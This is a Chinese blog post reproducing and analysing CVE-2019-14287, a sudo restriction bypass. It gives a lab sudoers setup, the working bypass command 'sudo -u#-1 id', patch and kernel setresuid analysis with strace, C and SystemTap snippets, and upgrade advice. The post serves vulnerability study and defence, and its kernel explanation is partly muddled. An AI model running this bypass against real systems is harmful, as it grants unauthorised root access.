CVE-2019-14287(sudo提权)漏洞复现

  1. 漏洞说明

Sudolinux的系统命令,让普通账号以root方式执行命令正常来说如果普通用户需要用sudo,需要修改配置文件/etc/sudoerssudo使用权赋予该用户而这个漏洞使得普通用户也可以绕过安全策略,执行敏感命令 

正常来说如果普通用户需要用sudo,需要修改配置文件/etc/sudoers,sudo使用权赋予该用户而这个漏洞使得普通用户也可以绕过安全策略,执行敏感命令

  1. 漏洞影响范围

漏洞影响的版本是<1.8.28

  1. 环境搭建

查看当前环境的操作系统,内核以及sudo版本信息

root@kali:~#uname -a

root@kali:~#cat /proc/version

root@kali:~#sudo -V

 

首先添加一个系统帐号 test_sudo 作为实验所用:

root@kali:~ # useradd test_sudo

 

然后用 root 身份使用命令vim/etc/sudoers root(ALL:ALL)ALL添加一行

test_sudo  ALL=(ALL,!root) /user/bin/id

 

第一个ALL表示用户可以在任意地方使用sudo

第二个(ALL,!root)表示命令可以被除了root以外的任意用户执行

最后一个/user/bin/id表示允许被执行

整体代码:表示test_sudo用户可以使用sudo,是除了root以外的任意用户去执行/usr/bin/id,如果试图以 root 帐号运行 id 命令则会被拒绝。

切换到test_sudo用户

Su test_sudo

然后sudo id(查看rootID

 

发现没有权限执行。

sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID -1 4294967295-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令:

$ sudo -u#-1 id

 

  1. 漏洞分析

在官方代码仓库找到提交的修复代码:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7

 

从提交的代码来看,只修改了 lib/util/strtoid.cstrtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串,补丁关键代码:

/* Disallow id -1, which means "no change". */

if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {

  if (errstr != NULL)

    *errstr = N_("invalid value");

  errno = EINVAL;

  goto done;

 }

llval 变量为解析后的值,不允许 llval -1 UINT_MAX4294967295)。

 

也就是补丁只限制了取值而已,从漏洞行为来看,如果为 -1,最后得到的 UID 却是 0,为什么不能为 -1?当 UID -1 的时候,发生了什么呢?继续深入分析一下。

我们先用 strace 跟踪下系统调用看看:

root@kali :~# strace -u test_sudo sudo -u#-1 id

因为 strace -u 参数需要 root 身份才能使用,因此上面命令需要先切换到 root 帐号下,然后用 test_sudo 身份执行了 sudo -u#-1 id 命令。从输出的系统调用中,注意到:

setresuid(-1, -1, -1)                   = 0

sudo 内部调用了 setresuid 来提升权限(虽然还调用了其他设置组之类的函数,但先不做分析),并且传入的参数都是 -1

因此,我们做一个简单的实验来调用 setresuid(-1, -1, -1) ,看看为什么执行后会是 root 身份,代码如下:

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

 

int main() {

  setresuid(-1, -1, -1);

  setuid(0);

  printf("EUID: %d, UID: %d\n", geteuid(), getuid());

  return 0;

}

注意,需要将编译后的二进制文件所属用户改为 root,并加上 s 位,当设置了 s 位后,其他帐号执行时就会以文件所属帐号的身份运行。

为了方便,我直接在 root 帐号下编译,并加 s 位:

root@kali :~#gcc test.c

root@kali :~#chmod +s a.out

然后以 test_sudo 帐号执行 a.out

$ ./a.out

EUID: 0, UID: 0

可见,运行后,当前身份变成了 root

其实 setresuid 函数只是系统调用 setresuid32 的简单封装,可以在 GLibc 的源码中看到它的实现:

// 文件:sysdeps/unix/sysv/linux/i386/setresuid.c

int

__setresuid (uid_t ruid, uid_t euid, uid_t suid)

{

  int result;

 

  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);

 

  return result;

}

setresuid32 最后调用的是内核函数 sys_setresuid,它的实现如下:

// 文件:kernel/sys.c

 

SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)

{

  ...

 

  struct cred *new;

 

  ...

 

  kruid = make_kuid(ns, ruid);

  keuid = make_kuid(ns, euid);

  ksuid = make_kuid(ns, suid);

 

  new = prepare_creds();

  old = current_cred();

 

  ...

 

  if (ruid != (uid_t) -1) {

    new->uid = kruid;

    if (!uid_eq(kruid, old->uid)) {

      retval = set_user(new);

      if (retval < 0)

        goto error;

    }

  }

  if (euid != (uid_t) -1)

    new->euid = keuid;

  if (suid != (uid_t) -1)

    new->suid = ksuid;

  new->fsuid = new->euid;

 

  ...

 

  return commit_creds(new);

 

 error:

  abort_creds(new);

  return retval;

}

简单来说,内核在处理时,会调用 prepare_creds 函数创建一个新的凭证结构体,而传递给函数的 ruideuidsuid 三个参数只有在不为 -1 的时候,才会将 ruideuid suid 赋值给新的凭证(见上面三个 if 逻辑),否则默认的 UID 就是 0。最后调用 commit_creds 使凭证生效。这就是为什么传递 -1 时,会拥有 root 权限的原因。

我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态:

#捕获

# 捕获 setresuid 的系统调用

probe syscall.setresuid {

  printf("exec %s, args: %s\n", execname(), argstr)

}

#

 

# 捕获内核函数 sys_setresuid 接受到的参数

probe kernel.function("sys_setresuid").call {

  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));

}

 

# 捕获内核函数 prepare_creds 的返回值

probe kernel.function("prepare_creds").return {

  # 具体数据结构请见 linux/cred.h struct cred 结构体

  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)

}

然后执行:

root@kali:~#stap test.stp

 

接着运行前面我们编译的 a.out,看看 stap 捕获到的:

exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 3 个参数

(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数

(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred,可看到默认 EUID 是为 0

  1. 修复建议
  2. 升级sudo1.8.28版本
    2. 做好sudo用户列表管理

 

posted on 2020-09-07 11:11  呀小王呀  阅读(412)  评论(0编辑  收藏  举报

导航